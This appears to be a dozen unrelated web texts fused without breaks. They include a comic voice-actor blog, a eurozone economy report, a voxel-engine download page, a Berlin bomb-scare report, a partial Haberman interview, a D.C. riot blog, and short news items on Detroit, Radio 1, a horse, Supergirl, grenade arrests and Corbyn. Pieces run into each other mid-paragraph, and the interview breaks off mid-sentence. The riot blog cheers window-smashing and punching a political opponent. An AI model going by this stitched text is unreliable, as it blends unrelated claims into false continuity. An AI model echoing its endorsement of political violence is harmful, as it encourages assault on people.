BARGAINING: Universe, I don’t ask for much, but what if the client wanted to use the selected voice actor for a big campaign, and the actor celebrates by making a big ol’ pot of chitlins. Now Universe, WHAT IF he didn’t cook the chitlins right (he’s stupid, remember?), and the actor gets a case of food poisoning that’s not life threatening or anything, but it’s just bad enough to keep them in bed long enough for me- the client’s next choice- to swoop in and record the spots? I mean, we all get hit with a case of “vomirrheah” now and then, so no big deal…right, Universe?
DEPRESSION: What’s this in my email, a new audition? Ehh, no thanks- I’m done with voice acting- I’m getting out of the game. Now, where was I? Oh, yeah- back to dipping my Hot Cheetos into this 5-gallon bucket of Neapolitan ice cream (but only the strawberry is left to make this a REALLY depressing scene) wearing nothing but a robe & a John Cena “Never Give Up” headband.
ACCEPTANCE: ::Sigh:: Well, on the bright side, I can write a blog post about it…Adjusting for inflation, the countries sharing the euro currency produced goods and services valued at 2.465 trillion euros, or $2.788 trillion, in the last three months of 2015. That brought the eurozone close to — but still short of — the €2.471 trillion that it produced in the first quarter of 2008.
The eurozone could, finally, hit a new high during the first quarter of 2016 if it manages another quarter of growth as strong as the last quarter of 2015. But that is by no means a certainty.
Some unsettling recent trends raise the risk that the eurozone could even slip back to recession. Wild swings in the share prices of Deutsche Bank and other large European lenders have raised fears of another banking crisis. Voters in some countries, like Portugal, have rebelled against economic overhauls that are intended to allow faster growth but that often mean less job security in the short term.
Even if the eurozone does recover its previous economic strength soon, the wealth will not be divided equally. A closer look at the numbers released on Friday by Eurostat, the European Union’s statistics agency, shows that the eurozone is divided into two kinds of countries.
There are those that have recovered the lost economic ground, like Germany and Denmark.
And there are those that have not recovered and are not likely to soon, like Spain, Italy and — above all — Greece. All three of these countries are substantially poorer than they were in 2008. Greece’s economy is only three-quarters the size it was then.
Spain has recently become the fastest-growing large country in the eurozone as it has bounced back from a banking crisis caused by a housing bubble.
But Spain still has a lot of catching up to do. Spanish unemployment is still almost 21 percent, and overall economic output remains well below what it was in 2008.PND3D Demo and Source Code
The PND3D engine is something I started, really in response to the hype of Unlimited Detail. Initially my goal was to figure out their algorithm. I started my first prototype in August 2008. It wasn't until December 2009 that I found a rendering algorithm I was happy with (and by that I mean a fast enough worst case). Then in 2011, Ace of Spades happened, and so I shifted my goal to making a successor to the Voxlap engine. Voxlap's main feature is the ability to support unlimited modification to voxels on the grid. Note that this design goal is in conflict to tricks like instancing, which can save greatly on memory.
Some major improvements over Voxlap are:
Texture mapping
Support up to 4096^3 grids (higher than that works but with artifacts due to an optimization of structure size)
Support multiple voxel grids; world and sprites are handled the same
Fast, voxel-accurate collision detection
More compact file format: *.KVO (Ken's Voxel Octree)
Some less noticable improvements:
Ability to quickly double or halve voxel grid size if necessary
Ability to safely travel inside solid (Voxlap would crash if you tried!)
Ability to render from any viewpoint (Voxlap required you to be inside or above map!)
Fewer visual artifacts (no jagged edges; no artifacts when looking up or down; no mip-mapping required)
Multithread support
Some GPU acceleration
Effects such as transparency and entire sprite shading offset
Built-in drawsph() and drawcone() functions - handy for debugging
Faster / more accurate normal estimation
PND3D.ZIP (669,942 bytes, 09/10/2018) Includes demo and source code (mouse code now works on Windows 10!).
Note: The GLSL shaders have not been tested extensively on all video cards! I have an NVidia card so that tends to work best. If you have an old ATI or Intel based video card, you may need to override the default rendering mode with one of the following:
"pnd3d /arbasm" is still full GPU acceleration and quality, but older style shader code. It may work in some cases.
"pnd3d /cpu" is CPU-based emulation code. It should work on all machines. The CPU code is actually not too slow, but it does lack the highest quality texture-mapping (i.e. nearest+mipmap instead of trilinear filtering).Customers of the chain in Wrangelstrasse found the gas canister connected to a cable at around 9am, police have stated. The restaurant and the surrounding area were then quickly evacuated as explosives experts were sent in to examine the device.
Two hours later, at 11 am the police gave the all clear, saying via Twitter that specialists had disarmed the device. Fire services also ventilated the restaurant “due to the high concentration of gas there.”
Der Gegenstand wurde von Kriminaltechnikern gesichert. Die Ermittlungen hat der Staatsschutz aufgenommen.
Die Wrangelstraße ist wieder frei. — Polizei Berlin (@polizeiberlin) June 29, 2017
Initial investigations have led police to suspect the canister was armed with “an ignition device.”
According to Spiegel, state security have taken over the investigation, indicating police suspect a political motive to the crime.
An electric cable had been connected to the canister and then reeled out into the parking lot behind the restaurant, according to Bild.
“A signal would have been enough to blow the whole restaurant into the air. We assume this was an attempt at an attack,” a police source told the tabloid.One of the saving graces of the Trump era is the journalism it has inspired. Maggie Haberman is a tireless, keen-eyed example. As part of the New York Times’ White House team, she has repeatedly added to the sum total of what we know about this President and the chaotic West Wing.
To hang around Haberman is to be ashamed of one’s indolence and inattention. She is a multitasker par excellence. A hummingbird effortlessly doing what she needs to do, which is everything at once. Even as she carries on a conversation in life, she is texting, fielding calls from the office and home, writing, taking edits—and when you finally get home in the evening and go to the Times Web site, you see her byline on two or three stories.
This week, after we spoke, Haberman and two of her colleagues spent nearly an hour talking with the President. He took the interview as an occasion not so much to think out loud about policy as to trash everyone within reach, including his own Attorney General, Jeff Sessions. Trump has called Haberman “third-rate,” and yet he is somehow obsessed with her, and the Times’, attention. Haberman first got to know Trump when she was a reporter for the New York Post; she also worked for the Daily News and Politico before joining the Times, in 2015. She is also a CNN political analyst. David Gregory, her colleague at CNN, rightly said on the air, “It’s striking that the President, who spends so much time trying to discredit the news media to convince his supporters simply not to believe outlets like the New York Times, in the end cannot quit Maggie Haberman, and that’s just the bottom line. Because he wants legitimacy and he knows you have to go to Maggie and her colleagues, who are really the journalists of record on this Trump Presidency.”
A couple of days before the Trump interview, I spoke with Haberman for The New Yorker Radio Hour, which is broadcast nationally on public radio stations and available now on newyorker.com. What follows is a transcript of our conversation, edited for length and clarity.
D.R.: Right now, the President is still in the midst of what can broadly be called Russiagate. And, at the same time, we’ve had the health-care meltdown. What is the atmosphere like in the West Wing and in the Oval Office?
M.H.: You know, it’s not as bad as you might think, given all of the various elements of catastrophe that you’ve just described, or near catastrophe. Look, I think there’s enormous frustration, actually, about the health-care bill, in a way that there isn’t about Russiagate more broadly, because Russiagate has become almost a part of the daily fabric. They’re pretty used to it at this point. I remember about two or three months ago having a West Wing aide say to me, in candor, that they were realizing that this was never going to end. It’ll obviously end at some point, but it’s not going to be anytime soon. There’s a larger frustration with the fact that they have been trying to push this health-care bill up a hill for much of the Presidency so far, and it’s not going anywhere, despite a Republican Congress. And it really is a condemnation, frankly, of the President’s strategy. There are a lot of people who believe that he could’ve done more to woo Nancy Pelosi and Chuck Schumer, both of whom he had relationships with prior to the White House. They believe he could have tried to do infrastructure, or something that would have tied Democrats in knots much more than health care, where they were never going to be with him. And his tweets feel sort of disjointed because they’re not connected to the reality of the situation.
D.R.: From outside, it seems like we’re looking at a kind of Borgia-like court, in which everybody is leaking on everybody, nobody particularly likes anyone else, everybody’s suspicious of each other, and the President, as described in the New York Times and elsewhere, is obsessively watching himself on television, fuming about his coverage. The fuming then turns into tweets, usually on Sunday morning, and the atmosphere is generally poisonous. Is that inaccurate?
M.H.: Yeah, I think that’s a hundred-per-cent accurate. Look, we’re used to a team of rivals. We are not used to a team of the Bloods and the Crips. Which is essentially what this is in the White House. I mean, these are rival gangs.
D.R.: Who are the Bloods and who are the Crips—how does it work?
M.H.: [Laughs.] I think I need to add in some new gang names, too, because Bloods and the Crips makes it sound like there are only two teams. There’s something like six. It’s a lot. I think that you have so many people who started out not trusting each other, because you had people who either were pro-Trump during the campaign or who were part of the Republican National Committee during the campaign. That has morphed into something much different and more complicated.
D.R.: So, break it down—what are the teams?
M.H.: So, look, you’ve got sort of the policy teams of the N.S.C. and the N.E.C.—
D.R.: So, this is the National Security Council.
M.H.: And National Economic Council. So, on the N.S.C. side you’ve got H. R. McMaster; Dina Powell works with him. And on the N.E.C. you have Gary Cohn, the President’s top economic adviser, who came from Goldman Sachs. Dina Powell also works closely with him.
D.R.: Also of Goldman Sachs.
M.H.: Jared Kushner sort of touches on that. You’ve got these concentric circles. Then you have Steve Bannon, who doesn’t really have direct reports, and has, I think, been choosing to throw himself into fewer meetings than he used to. He’s fairly closely aligned at this point with Reince Priebus, which is ironic because they really disliked each other early on. Priebus is seen pretty broadly as a weak chief of staff.
And that is just an ongoing problem. So here’s a for-instance. You have these theme weeks that this White House does. There’s no through line. You know, there’s Made in America Week, there’s Energy Week, there’s whatever—there’s no sort of sense of unfurling a larger narrative here that you’re trying to tell about this Presidency from their communications team. It’s just sort of throwing stuff at the wall—anything that doesn’t have the word “Russia” in it. If you had a stronger chief of staff, he might be trying to coax people within the West Wing to focus their energy more specifically and in a more targeted way on health care. And you did not see that happen.
D.R.: How does Donald Trump spend his day when not in routine meetings that are on his schedule?
M.H.: This is really like the holy grail of reporting that has been sought and not completely answered for some time, including by me. He gets very irritated when we all report that he watches a lot of TV. He does watch a lot of TV—it doesn’t seem like that’s a massively controversial statement. But he doesn’t like when that is said because he thinks it’s shorthand for saying he doesn’t work that hard. He holds a lot of meetings. But his Oval Office is an incredibly open-door room, unlike most Oval Offices, where, really, it is, as you know, David, it’s the palace, and the chief of staff is the gatekeeper. I mean, Trump’s Oval Office is like Grand Central Station. People try briefing him and someone comes in and interrupts him. People just sort of walk in without being previously announced in any meaningful way. He spends his day interacting, is how I would describe it. He gets the daily brief in the mornings. He has had that condensed down to a more visual-cued form than it was previously.
D.R.: It sounds like you’re being a little bit polite. What previous Presidents did, in one way or another, was read a tremendous amount the night before and then get a brief from the director of National Intelligence. And he has no patience for that, from what I understand. He has no patience for reading briefing books, and he has to see a lot of pictures, a lot of video, a lot of charts.
M.H.: He likes a lot of charts. He likes looking at things.
D.R.: Does he read?
M.H.: He says he reads. Most people who have worked for him for a long time say he is not an avid reader, certainly of books. I think he does read news clippings. But that’s very different than the type of material that you read as President. He’s a consumer of information, but not in the written form in the same way we are used to with previous Presidents.
D.R.: What do you make out to be the ideology of Donald Trump? Or is it purely situational? We saw him running as a new kind of populist. At moments, he seems very right-wing; at other times he undermines that kind of conservative ideology.
M.H.: I think he has no clear ideology. I think he has a couple of base impulses he’s held onto since the nineteen-eighties, when he was taking out those newspaper ads about how Japan is “ripping us off.” A lot of the language that he used then is the same as what he uses now, but it’s more of a feeling than an ideology. It’s a sense that the United States is being taken advantage of. Can he name by whom, accurately? Not necessarily. He ran as a Republican, and he really appealed to this hard-right base that believes in less government. But, in reality, this is a man who grew up in Ed Koch’s New York City, and I think he has a very specific view of the role that government is supposed to play in people’s lives.
D.R.: What does that mean? We’re on from coast to coast, as they say. What does it mean to have inherited, to some degree, Ed Koch’s view of New York?
M.H.: Or at least his view of the role of government in people’s lives. I think that he believes that regulations are a restriction and a hindrance. Koch, while he did not openly talk about that the same way, certainly fumed at the limitations that government put on what he could do and stymied him. But I think that Trump generally believes that everybody should have health care, or that most people should have health care. I think he fundamentally believes that the role of government is to provide for people. What exactly that looks like, I think, is where you end up getting into a bit of a different place with him. But ultimately this is a guy who grew up in a city where the government was hugely accountable—for policing, for getting the garbage off the streets, for the buildings you build—and I think the role of government in people’s lives in New York City in the nineteen-eighties was pretty liberal.
D.R.: And yet the next step is either to try to eliminate Obamacare entirely or tax reform, which will lower taxes magnificently for the wealthy. That doesn’t seem like a big government or liberal ideology.
M.H.: If you listen to Donald Trump speak on almost any given issue, you will hear him take both sides of that issue—in the same sentence, sometimes. It’s very, very hard to pin him down in any specific way.
D.R.: You recently described him on an Air Force One trip to Paris, where he kind of held forth with the press. He was rather friendly, he was rather open, he was rather ebullient. And at the same time he tweets about and gives speeches where he loathes the press. He’s called the press—he’s called us—enemies of the people, a phrase that has roots in the French Revolution and Stalin’s Russia and all the rest. How does he really feel about the press?
M.H.: Look, I think that he loves the press. I think he lives, at least loosely, by the theory that, if not all press is good press, that most press is good press. I think you find the press has been his nurturer and validator for thirty to forty years. This is a person who courted the tabloids aggressively in New York City in the nineteen-eighties. He found a way to make himself a commodity for the gossip pages and play the tabloids off each other. He likes attention, and he likes media. He loves to manipulate the media. He’s a master at it. And he was also in a good mood, and I think he wanted us to see him in a good mood, for whatever reason. So he spent an hour back there with us, which is a very long time for the President to be at the back of the plane.
D.R.: Maggie, tell me about the first time you encountered Donald Trump. You started your career at the New York Post, then the Daily News, then Politico, and now the New York Times. But you have a long history with him as a reporter. Tell me about that first encounter.
M.H.: You know something, I don’t remember. There’s no creation story, unfortunately, because I don’t really remember the first time that I spoke with him. I talked to him—I went through clips—and I interviewed him a couple of times toward the end of my New York Post stint. At the tabloids, he was everywhere. In 2011 was when I really dealt with him a lot, when he was thinking of running for President. I spoke to him a bunch, I interviewed him a bunch, I broke a bunch of stories around it, and I took it seriously. I treated the idea that he might run seriously, and I could see that he was very frustrated that other people were not treating it seriously. And then he took all of that and announced that he wasn’t running—during sweeps week, when “The Apprentice” was looking for new ratings. So when one of his aides, Sam Nunberg, came to me in—God, I think it was May of 2015—he said, Trump is gonna announce that he’s running on June 15th, and we want you to break it. And I said, “No.” And he said, “Why?” I said, “Because I went through this in 2011.”
D.R.: When we were talking about Donald Trump, incessantly, in the eighties and nineties, when he was a figure of Spy magazine and the tabloids, you didn’t have to pay that much attention. You didn’t have to care that much. He was an amusement. But, if you look back on it now, there are a lot of people around him, from the very start, not just Roy Cohn, not just his own family but all kinds of sleazy characters, money launderers abroad and at home. He has been surrounded by some awful people, people with serious criminal records. If they ever came close to Hillary Clinton or Barack Obama or many other politicians you could name, they’d be finished. How does it shape him, and how does he survive it?
M.H.: I think that people don’t know the extent of it. One of the things that I was really shocked by, covering him in 2015, was the disparity between the five-borough view—or four-borough; take out Staten Island, where he did very well—but the view of him, certainly in Brooklyn, Queens, and Manhattan, was that he was not a real businessman. And he, at that point, had been bankrupted several times, and he had gone on to licensing businesses and becoming a reality-TV star.
D.R.: Not just licensing businesses but doing deals with people abroad who were uniquely corrupt in their various countries, like Azerbaijan, or Georgia, or what have you.
M.H.: Correct. I mean, but I think that, if you can point to where we did poorly—we, not the Times but the collective media—in the 2016 campaign, I think that pointing to the company he kept was where we messed up. We didn’t do enough of that.
D.R.: That the proliferation of sleazy people didn’t come to light enough.
M.H.: Well, it’s just one after the other. There’s that Felix Sater character, who was arrested and, I think, did time, for shoving a broken Martini glass in someone’s face—
D.R.: Well, who hasn’t had a bad night?
M.H.: Right! Just last night, even.
D.R.: [Laughs.]
M.H.: No, in no way. But it’s not just people with questionable business practices—it’s people with a history of violence. Or some combo. And you tie that with the fact that, throughout the campaign, he evinced some authoritarian impulses. One of the things that was striking about him, and it increased right after he won the New Hampshire primary, was, in the G.O.P. campaign, he kept praising dictators. And then you’d report that he praised them and he’d say, “No, I didn’t.” I mean, one of the things that’s really challenging about covering him is he refuses to agree with the basic fact of what he just said, when you point it out.
D.R.: That we live in Alice in Wonderland.
M.H.: Right. There is no basic agreement on a set of facts, right? So I think that that becomes challenging. And that ties back to your question about the company he keeps. A lot of this, even when we report on it, people don’t believe it. So, I don’t know what you do with that.
D.R.: Why doesn’t it stick?
M.H.: Well, what I started to say about the view of him from “The Apprentice” in the rest of the country was that he was so branded from ten years on that show—or whatever it was, fourteen—that he was seen as Presidential, sitting in this leather-bound, high-backed chair at a boardroom table, seeming decisive, saying, “You’re fired.” One of the things that Roger Stone said to me when I did a profile of him a couple months ago—the quote didn’t make the piece, but it was a very, very important point—was that the line between news and entertainment has blurred dramatically, and so viewers don’t make the same distinction that we do. And so I think his supporters, whether they were the people who just didn’t like Obama and flipped this time—and I don’t know that you can count them as his supporters next time, but I think that they would still pick him over Brand X—they choose either to see him as they saw him on TV or they are very mistrustful of the media. I think it’s hard to overstate how much our collective credibility has taken a hit.
D.R.: You worked for Rupert Murdoch at a certain point.
M.H.: I did! At two certain points.
D.R.: And Rupert Murdoch is said to have a very close relationship with Donald Trump. And it’s reflected in the New York Post in a certain way, and even in the Wall Street Journal in a certain way. What is that relationship about?
M.H.: It’s actually funny you said that, because they didn’t really have a relationship before—not in the same way. They knew each other, and they were sort of friendly-ish, but the main relationship was really between Murdoch and his then-wife, Wendi Deng, and Ivanka Trump. Jared Kushner had a bigger relationship with Murdoch than Trump did. Kushner actually was the one who sort of sold Murdoch on Trump, and that something bigger was happening in the country. Jared showed him a video of one of the rallies on his iPhone, back at the end of 2015. Murdoch has always wanted to be an adviser to a President. And he certainly didn’t have that with Bill Clinton. And he didn’t even have it with Bush. The Bush people didn’t really have much use for him. So he saw the opportunity and jumped on it. And they now talk most days.
DR: They talk most days. What about?
M.H.: [Laughs.] The economy, certain news stories, what’s happening in the world. I think Murdoch tries to keep Trump focussed.
D.R.: Who else does Trump talk to in that way? Who else outside the White House is a kind of consigliere, from afar?
M.H.: Well, I can point you to a story that Glenn Thrush and I did on this about a month ago. There’s a bunch of people. He talks to Sean Hannity a lot—Sean Hannity had an inexplicable freak-out on Twitter when we reported it—but he is one of the people who Trump really does trust. He talks to Steve Schwarzman. And then periodically, for a time, but it was more really a Jared relationship, he was talking |
these folks — seeming out of nowhere — began wrecking shit. Over Trump. Genuinely wrecking shit.
The police response was relatively fast. The riot control police (read: stormtroopers) seemed to come from out of nowhere. The police had bottles of pepper spray the size of medium fire extinguishers. CS gas (tear gas) was deployed by the time the mob got to 12th Street and I Street (as captured to the right) and I got a good whiff of that stuff. I’ve had CS gas before, but it’s been years. Being that I wasn’t targeted, I got a weaker whiff of the CS. Manly tears ensued. I’ll have to admit, the stormtroopers did an amazing job of not attacking the photographer guy who was close enough to smell light farts from these police officers. I always known that Metropolitan (D.C.) Police were a lot different than other city cops. D.C. cops (from downtown) know not to act a total fool. There’s a protest everyday in D.C., add the fact that it is the Nation’s capital and treating everyone like a rioter would embarrass the United States in front of the world. I shouldn’t have to be thankful of cops doing the right thing, functioning with precision, but since that’s not the norm it had to be mentioned.
“Is it a bad time for a latte?” ~ Johnny Silvercloud to the Starbucks manager, after the mob broke their windows
Eventually the police separated the free press and freelancers from the mob, and ended the mini-riot. With that being said, the damage was already done. Going back to the destruction, I jokingly asked the Starbucks worker, “Is it a bad time for a latte?”
And it was. There was enough glass on the floor to make Hans Gruber proud. No one was getting their espresso that day.
Upon reflecting on the vandalizing, I realized something: I was happy about it. I was glad that, in this case, no one would blame the black community for this riot. Black clothes? Maybe. Black people? No. These gentrified protesters — marauders even — were mostly a white crowd, by far. I think even the cops knew this. Perhaps the cops’ measured response was due to the fact that they were white. So maybe, despite the fact that the black clothing and masks provided them a dispersal of identity, they were all white to the cops and therefore not treated so harshly. After all, they were able to smash Starbucks, circle a whole city block, smash the McDonalds on the bottom opposing side of the block before police truly halted their riot. So they rioted with a bit of white privilege in my home town.
I found myself totally okay with that.
Local Nazis Getting Punched
Later on after a long day of covering various protests, I catch a treasure on the internet — Richard Spencer getting, as we say in D.C., stole in his face. The moment I saw this I sat there and thought, “Wow I wish I would have captured that moment.”
When I let the scene of an Americanized Nazi getting punched in the face marinate, I had a flicker in my head of something I captured earlier: A particular sign that came from the anti-fascist crew.
This set of protesters were not decked out with a lot of signs, but I did manage to capture this sign on the left: FIGHT YOUR LOCAL NAZIS. Then and there, as I put it all together, I realized that I really do like these guys. Fuck it, I love these guys. The mixed feelings were gone; I knew who hit this Nazi in the face and it was these guys. Out of everything that went wrong, everything went right — these guys punched a Nazi, which is, according to Captain America and the history of World War II, the most American thing to do. Anti-Fascists did something that a lot of folks didn’t have the balls to do, and that’s punch Richard Spencer in the face.
After absorbing all the tear gas and all of the protests that day I realized that I really don’t give a damn about Starbucks. Or McDonald’s. Especially Bank of America. These businesses, while only a small leaf of a bigger tree, have CEOs who would most certainly weigh in on the DAPL issue, Black Lives Matter, and other social issues taking place today. They at large, do not. Sure, Starbucks are more friendly to the socio-political activist, but they can do a whole lot more than what they have been. Fuck Starbucks. Fuck Bank of America. Fuck Ronald McDonald; Richard Spencer got punched in the face.
And we have the anti-fascist to thank for that.
I genuinely love the fact that some random, anti-fascist ninja went across Richard Spencer’s face like Bryan Fury’s forward forward right punch, rocking his dome, messing up his Nazi soldier haircut like it was a Hitler toupee. I’m glad they came to our city. I’m glad they were there. Talking to a few of them, they are most certainly against white supremacy, so I really don’t care anymore. I’ve grown to love the anti-fascist rage.
Photography Credit: Johnny SilvercloudThe official groundbreaking started today in the Livernois-McNichols area for the Fitzgerald neighborhood revitalization, which is a multi-faceted approach to improve the neighborhood. The first two projects—Ella Fitzgerald Park and a “HomeBase” community center—broke ground today.
The neighborhood revitalization is a collaboration between multiple partners, including the City of Detroit, the Reimagining the Civic Commons program, the Live6 Alliance, developers FitzForward, and more.
The Ella Fitzgerald Park will have a multipurpose sports field and basketball court, as well as play equipment, green space, and a greenway running through the park. The park will also have two murals by local artist Hubert Massey. It will add a vibrant, attractive gathering place to the surrounding community.
HomeBase, a new community center on McNichols Avenue, will be home to the Live6 Alliance, along with the Detroit Collaborative Design Center—a nonprofit architecture and urban design firm at the University of Detroit Mercy School of Architecture, and shared space for various city of Detroit staff and community groups.
“You can’t underestimate what the establishment of HomeBase will do to accelerate the collaboration between the various organizations who are working toward revitalizing this area,” says Lauren Hood, Live6 Alliance co-director. “And a well-trafficked office can only help spur more development in the immediate vicinity. This means there’ll be one less abandoned building on this street. We’ll be a good neighbor to the about-to-open coffee shop next door, the restaurant in the works across the street and the other active buildings in the vicinity. Activity attracts more activity for everyone.”
“The establishment of HomeBase also creates a single place where residents can go with questions—whether they’re trying to get an affordable mortgage or trying to open a business, the resources to help can be found, at last, in a single space,” says Hood. “And it will be open for block club meetings and a wide variety of other community events.”
McNichols could also see significant improvement over the next few years with the mayor’s plan to revitalize commercial corridors. Live6 is also working on securing funding for Treehouse, a community space for neighborhood youth.
This two-year plan to revitalize the Fitzgerald neighborhood will also include rehabbing 115 vacant homes for rental or sale, led by FitzForward, a collaboration between developers The Platform and Century Partners. This effort will start later this year.I am so excited and humbled to be asked to do this show. The thing I love about music radio is those private epiphanies it provides. Having 11 hours of airtime a week to share those moments with music that has no boundaries, is beyond a job, it’s a privilege.
Annie has established herself firmly as part of Radio 1’s specialist output since joining the network, and kick-starts the weekend on Radio 1 on Friday evenings (7-10pm) with the station’s flagship dance music show. Annie will continue to host her Friday evening show on the network, but will step down from her slot hosting Radio 1’s ‘Musical Hot Water Bottle’ on Sunday evenings (10pm-1am). Annie will be taking over from the show’s long-time host Zane Lowe, who is moving to the US with his family to work at Apple.
Ben Cooper, Controller of BBC Radio 1 and 1Xtra, says: “Annie has proven she is a great ambassador for new music, and I’m delighted that she’s bringing her passion and knowledge to young audiences across the week. I’d like to thank Zane for 12 wonderful years at Radio 1, and wish him and his family all the very best.”
Annie Mac says: “I am so excited and humbled to be asked to do this show. The thing I love about music radio is those private epiphanies it provides. Having 11 hours of airtime a week to share those moments with music that has no boundaries, is beyond a job, it’s a privilege. And to be following in the footsteps of Zane Lowe, a broadcaster that I respect and admire enormously, is a huge honour. I can’t wait to get started.”
Zane Lowe says: “I want to thank everyone at Radio 1 - for their support and friendship. The station has allowed me to share incredible music with the country's best music fans - I've loved every minute of it. Exciting times lie ahead.”
Zane joined Radio 1 in 2003 and his last show on the network will be on Thursday 5 March.
Phil Taggart will be taking over the ‘Musical Hot Water Bottle’ on Radio 1 with his first show being Sunday 1 March. He will continue to host his Thursday evening future music show on the network.
Phil Taggart says: “I’m completely thrilled to have three more hours on Radio 1 to spin all of the wicked new music I am discovering. Radio 1 is the best new music station on the planet and to have a show like this with the freedom they give me is such an honour. Thanks to Annie Mac for passing the hot water bottle.”
Notes to Editors
Annie Mac began her career at Radio 1 as a Broadcast Assistant on Zane Lowe’s show.
PCCHATSWORTH, Calif. -- A wild horse caught running on a California freeway last year has been tamed by an unlikely trainer: a 10-year-old girl named Ella, CBS Los Angeles reported.
The white Mustang was rescued last year after she was found running up the 210 Freeway in Sylmar, California.
She came to the Total Equestrian Experience in Chatsworth after Ella and her mom, Jen Fox, adopted her.
"We have a unique connection," Ella said. "I think she likes me a lot."
Named Dixie for short, the horse was a challenge for the trainers.
"You'd walk up to a stall and she would just stand at the very back of it," said Ashley Shrader, a trainer, to CBS Los Angeles. "She wouldn't come up to you at all."
And when a trainer tried to ride her, "She went into a basically a rodeo-style routine. Head between the knees. Got extremely defensive," Shrader said.
Dixie was underweight when she arrived at the barn. The veterinarian and the trainers also believed that she had been abused.
Initially, Fox thought she had made a mistake.
Every night, she said, she would ask herself whether she made the wrong decision.
"What did I do? Was she a money pit? I don't know," she said.
But the connection between Ella and Dixie was instantaneous.
Ten-year-old Ella. CBS Los Angeles
"When they first saw each other, it was instant. Love at first sight. And I think that she knew that Ella was there for her and was going to take care of her," Fox said. "Ella has gotten a great deal of strength and confidence from her."
But fixing Dixie's temper wasn't as easy.
"She wouldn't walk with me or she would try and like bite me sometimes," Ella said.
But Ella wasn't deterred. She was slow and tender with Dixie, usually braiding her hair before they went into the arena, CBS Los Angeles reported.
"I think she likes my personality and I love her," she said.
Dixie the horse. CBS Los Angeles
This past weekend, that bond between the two was cemented when they conquered their first competition.
"I was a mess on Sunday. Just nerves and tears," said Fox.
The two placed fourth, which was better than expected. Ella was more than pleased with the result.
"She got a lot of carrots and a lot of hugs," Ella said. "And even though she couldn't respond, I thanked her and I congratulated her."CBS is yet to make a renewal decision on its freshman series, but there are conversations about one of them, Supergirl, making a jump t o sister network the CW. Such a move had been rumored for awhile but I hear talks are now real, going concurrently with CBS’ renewal process, which is nearing the finish line. I hear CBS has until end of day today, Wednesday, to make a decision on Supergirl, but that could conceivably get extended again. It is unclear whether an agreement would be reached because it is a tall order for a show of that scale to be produced for the CW. Producing studio Warner Bros. TV already is making a pre-emptive effort to trim costs, prepping a move of production from Los Angeles to Vancouver in Season 2. That would bring the show, from producer Greg Berlanti, together with his CW superhero drama series, which all are based in Vancouver.
Of the other CBS freshman dramas, word is that medical drama Code Black, from ABC Studios and CBS TV Studios, has solidified its position and looks good to return but is expected to undergo tweaks. Limitless, which is fully owned by CBS, is considered 50-50 at best and does not look very promising at the moment. It is a recognizable title that makes money for the studio internationally, comes from Alex Kurtzman and Bob Orci, and is part of the network’s push into attracting younger audiences on the hourlong side that also has included Scorpion, already renewed for next season, and Supergirl. Comedy Life In Pieces is considered a safe bet to return, while Rush Hour is not coming back.
Supergirl, which commanded a very high license fee in its freshman season, had been eyeing a partial order at a lower price at CBS. The CW frequently had been mentioned as a possibility because of Supergirl‘s young skew, the CW president Mark Pedowitz’s public comments about regretting not going after the project when it was originally pitched, and the fact that the CW is co-owned by CBS and Warner Bros. (There had been other potential suitors for the show, including Hulu.) Supergirl would give the CW four DC superhero series, one of which, Flash, already crossed over to Supergirl, making for a seamless possible transition into the CW DC universe.
This is the second time Supergirl had been rumored to move from CBS to the CW. It didn’t happen after the pilot last year, and there are still skeptics who say that it would be hard for Supergirl to be produced at a price point where it could make financial sense on the CW. Previously, drama Ringer moved from CBS to the CW after the pilot.
At the end of the day, it is up to CBS Corp. chairman Les Moonves, who is holding all the cards in the situation since the company controls CBS and the programming on the CW, to make the call whether Supergirl would stay or not on CBS and whether it would go to the CW. Being based on a DC property, if it moves to the CW, Supergirl would remain solely owned by WBTV and not a co-production with CBS TV Studios as the original CW series automatically become.
Despite the fact that its numbers tapered off significantly after a strong start, Supergirl, aided by a solid DVR play, averaged a 2.4 rating among adults 18–49 in a competitive time slot, ranking as the No. 1 new CBS drama and No. 4 new network series overall (behind only Blindspot, Life in Pieces and Quantico) in the demo this season. It is CBS’ youngest-skewing new drama and averaged nearly 10 million viewers.Two South Texas men arrested for selling grenades out of abandoned house near school
Alberto Joseph Ortiz (pictured in a 2009 booking photo) and Cesar Giovanni Flores-Tirado of McAllen are suspected of selling 15 grenades to informants for the Bureau of Alcohol, Tobacco, Firearms and Explosives, according to The McAllen Monitor and an unsealed criminal complaint. less Alberto Joseph Ortiz (pictured in a 2009 booking photo) and Cesar Giovanni Flores-Tirado of McAllen are suspected of selling 15 grenades to informants for the Bureau of Alcohol, Tobacco, Firearms and... more Photo: Hidalgo County Jail Photo: Hidalgo County Jail Image 1 of / 34 Caption Close Two South Texas men arrested for selling grenades out of abandoned house near school 1 / 34 Back to Gallery
Federal agents have arrested two McAllen men who allegedly sold grenades to undercover federal agents out of an abandoned house near an elementary school, according to court documents.
Alberto Joseph Ortiz and Cesar Giovanni Flores-Tirado are suspected of selling 15 grenades to informants for the Bureau of Alcohol, Tobacco, Firearms and Explosives, according to The McAllen Monitor and an unsealed criminal complaint.
RELATED: Mexican drug cartel hitman wanted for 9 murders arrested
On May 21, the informant met with Ortiz in the 800 block of South 26 1/2 in McAllen to purchase the grenade for $400, the complaint states.
ATF agents and the McAllen Police Department Bomb Squad determined the grenade was a functioning improvised explosive device.
Ortiz then sold the informant nine more grenades on May 22, according to the criminal complaint.
He told an informant on May 27 that he could buy five grenades from Flores-Tirado, the Monitor reported.
Ortiz and Flores-Tirado were arrested Monday after Oritz told an informant that he had 28 grenades available for purchase.
Ortiz admitted to federal agents that he lived next door to the abandoned house, according to the criminal complaint.
jfechter@mySA.com
Twitter: @JFreportsJeremy Corbyn has accused Theresa May of being "insecure" about her authority - and retreating into a "presidential bunker mentality" reminiscent of Tony Blair.
The Labour leader said he believed in "empowering others to make up their minds and come on board when they are ready", while the Prime Minister was obsessed with stifling dissent.
Mr Corbyn said Tony Blair's premiership showed what can go wrong if leaders go unchallenged.
Blair: 'If polls are right, Tories will win'
:: Corbyn urges young voters to stop 'Brexit for few'
Speaking to an audience of supporters in London's East End, he said he recognised similar characteristics in Mrs May.
He said: "It taught me that if leaders go unchallenged, they can make some of the most damaging mistakes.
"And if party leaders put themselves ahead of serving the people, they stop listening and even put our country at risk.
"Barely nine months into Theresa May's premiership, there are clear warning signs that she and her closest advisers are slipping into that presidential bunker mentality.
"Whereas it is the job of leadership to hold open the space for dissent, new thinking and fit-for-purpose policy.
"So while it might not be the stuff of soundbites, I have always believed in standing firm and empowering others to make up their minds and come on board when they are ready.
"It is the mindset that gets community centres and nurseries built, and increasingly defends them from closure.
